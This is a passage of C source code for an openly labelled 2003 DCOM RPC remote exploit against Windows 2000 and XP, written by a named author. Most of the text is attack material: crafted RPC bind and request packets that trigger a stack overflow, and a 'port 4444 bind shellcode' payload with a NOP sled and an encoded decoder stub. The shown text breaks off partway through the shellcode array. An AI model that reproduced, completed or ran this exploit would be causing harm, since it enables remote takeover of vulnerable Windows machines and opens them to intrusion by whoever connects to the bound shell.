dcomrpc_magickey_win.c

栈溢出源码

/*
**
** 2003/07/27 - DCOM RPC WIN32 remote exploit (Most languages)
** 2003/12/14 - PORT TO WIN32 COMPILERS
**
** Added Universal Offsets for Win2k and WinXP
** 
**
** Lordy磗 Version - ICQ(7557843)
** Lordillusions Company(C)
**
**
** Should work fine with VC++ 6
*/

#include <process.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
//#include <winsock2.h>
#include <windows.h>
#include <io.h>
#include <lm.h>
#include <string.h>
#pragma comment (lib,"ws2_32")


#define RECVTIMEOUT		1

char *optarg = NULL; 
int   optind = 1; 
int   opterr = 1; 

#define _next_char(string) (char)(*(string+1)) 

int getopt(int argc, char *argv[], char *opstring) 
{ 
    static char *pIndexPosition = NULL; 
    char *pArgString = NULL;       
    char *pOptString;                

    if (pIndexPosition != NULL) 
     { 
        if (*(++pIndexPosition)) 
           { 
             pArgString = pIndexPosition; 
        } 
    } 

    if (pArgString == NULL) 
     { 
        if (optind >= argc) 
           { 
             pIndexPosition = NULL; /* not in the middle of anything */ 
             return EOF;   /* used up all command-line arguments */ 
        } 
        pArgString = argv[optind++]; /* set this to the next argument ptr */ 

        if (('/' != *pArgString) && ('-' != *pArgString)) 
           { 
             --optind;        /* point to current arg once we're done */ 
             optarg = NULL;         /* no argument follows the option */ 
             pIndexPosition = NULL; /* not in the middle of anything */ 
             return EOF;   /* used up all the command-line flags */ 
        } 

        if ((strcmp(pArgString, "-") == 0) || (strcmp(pArgString, "--") == 0)) 
           { 
             optarg = NULL;         /* no argument follows the option */ 
             pIndexPosition = NULL; /* not in the middle of anything */ 
             return EOF;   /* encountered the special flag */ 
        } 

        pArgString++;         ;       /* look past the / or - */ 
    } 

    if (':' == *pArgString) 
     {      ;  
        return (opterr ? (int)'?' : (int)':'); 
    } 
    else if ((pOptString = strchr(opstring, *pArgString)) == 0) 
     { 
        optarg = NULL;    /* no argument follows the option */ 
        pIndexPosition = NULL;      /* not in the middle of anything */ 
        return (opterr ? (int)'?' : (int)*pArgString); 
    } 
    else 
     { 
        if (':' == _next_char(pOptString)) 
           { 
             if ('\0' != _next_char(pArgString)) optarg = &pArgString[1]; 
             else 
                 { 
                if (optind < argc) optarg = argv[optind++]; 
                else 
                      { 
                      optarg = NULL; 
                      return (opterr ? (int)'?' : (int)*pArgString); 
                } 
             } 
             pIndexPosition = NULL; /* not in the middle of anything */ 
        } 
        else 
           { 
             optarg = NULL;         /* no argument follows the option */ 
             pIndexPosition = pArgString;    /* point to the letter we're on */ 
        } 
        return (int)*pArgString;    /* return the letter that matched */ 
    } 
} 

void bzero(b, length)
/* [<][>][^][v][top][bottom][index][help] */
     char *b;
     int length;
{
  memset(b,0,length);
  /* if you have problems finding memset, the following will work: 
     instead of the above 
  char *s_ptr;
  s_ptr=b;
  while(length-- > 0) *s_ptr++ = '\0';
  */
}



/***************************************************************/
long gimmeip(char *hostname)
{
	struct hostent *he;
	long ipaddr;

	if ((ipaddr = inet_addr(hostname)) < 0)
	{
		if ((he = gethostbyname(hostname)) == NULL)
		{
			printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
			WSACleanup();
			exit(1);
		}
		memcpy(&ipaddr, he->h_addr, he->h_length);
	}
	return ipaddr;
}



u_char bindstr[]={
	0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,
	0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
	0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,
	0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
	0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
	0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
	0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,
	0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
	0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};
u_char request1[]={
	0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,
	0xE8,0x03,0x00,0x00,0xE5,0x00,0x00,0x00,
	0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,
	0x05,0x00,0x06,0x00,0x01,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,
	0xCC,0x45,0x64,0x49,0xB0,0x70,0xDD,0xAE,
	0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,
	0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,
	0x7C,0x5E,0x0D,0x00,0x00,0x00,0x00,0x00,
	0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,
	0x2A,0x4D,0xCE,0x11,0xA6,0x6A,0x00,0x20,
	0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,
	0x4D,0x41,0x52,0x42,0x01,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,
	0x00,0x00,0x00,0x00,0xA8,0xF4,0x0B,0x00,
	0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,
	0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,
	0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
	0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
	0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
	0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
	0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,
	0x28,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
	0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
	0xC8,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,
	0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
	0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,
	0x64,0x29,0xCD,0x00,0x00,0x00,0x00,0x00,
	0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,
	0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
	0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,
	0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
	0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,
	0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
	0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,
	0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
	0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,
	0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
	0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,
	0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
	0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,
	0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,
	0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,
	0x60,0x00,0x00,0x00,0x58,0x00,0x00,0x00,
	0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,
	0x20,0x00,0x00,0x00,0x78,0x00,0x00,0x00,
	0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
	0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
	0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,
	0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
	0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,
	0x06,0x09,0x02,0x00,0x00,0x00,0x00,0x00,
	0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
	0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x78,0x19,0x0C,0x00,
	0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,
	0x01,0x00,0x00,0x00,0x70,0xD8,0x98,0x93,
	0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,
	0xB2,0x00,0x00,0x00,0x32,0x00,0x31,0x00,
	0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
	0x80,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,
	0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,
	0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,
	0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,
	0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
	0x3B,0x03,0x00,0x00,0x00,0x00,0x00,0x00,
	0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
	0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,
	0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,
	0x80,0x0E,0xE9,0x4A,0x99,0x99,0xF1,0x8A,
	0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
	0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
	0x30,0x00,0x00,0x00,0x78,0x00,0x6E,0x00,
	0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,
	0x46,0x00,0x58,0x00,0x00,0x00,0x00,0x00,
	0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
	0x10,0x00,0x00,0x00,0x30,0x00,0x2E,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
	0x68,0x00,0x00,0x00,0x0E,0x00,0xFF,0xFF,
	0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
u_char request2[]=
{
	0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x20,0x00,0x00,0x00,0x5C,0x00,0x5C,0x00
};
u_char request3[]=
{
	0x5C,0x00,0x43,0x00,0x24,0x00,0x5C,0x00,
	0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,
	0x35,0x00,0x36,0x00,0x31,0x00,0x31,0x00,
	0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,
	0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,
	0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,
	0x31,0x00,0x2E,0x00,0x64,0x00,0x6F,0x00,
	0x63,0x00,0x00,0x00
};
u_char request4[]=
{
	0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,
	0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,
	0x00,0x00,0x00,0x00,0x88,0x2A,0x0C,0x00,
	0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
	0x28,0x8C,0x0C,0x00,0x01,0x00,0x00,0x00,
	0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
u_char shellcode[]=
{
	/* port 4444 bind shellcode */
	0x46,0x00,0x58,0x00,0x4e,0x00,0x42,0x00,
	0x46,0x00,0x58,0x00,0x46,0x00,0x58,0x00,
	0x4e,0x00,0x42,0x00,0x46,0x00,0x58,0x00,
	0x46,0x00,0x58,0x00,0x46,0x00,0x58,0x00,
	0x46,0x00,0x58,0x00,0xff,0xff,0xff,0xff,
	0xcc,0xe0,0xfd,0x7f,0xcc,0xe0,0xfd,0x7f,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
	0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xeb,
	0x19,0x5e,0x31,0xc9,0x81,0xe9,0x89,0xff,
	0xff,0xff,0x81,0x36,0x80,0xbf,0x32,0x94,
	0x81,0xee,0xfc,0xff,0xff,0xff,0xe2,0xf2,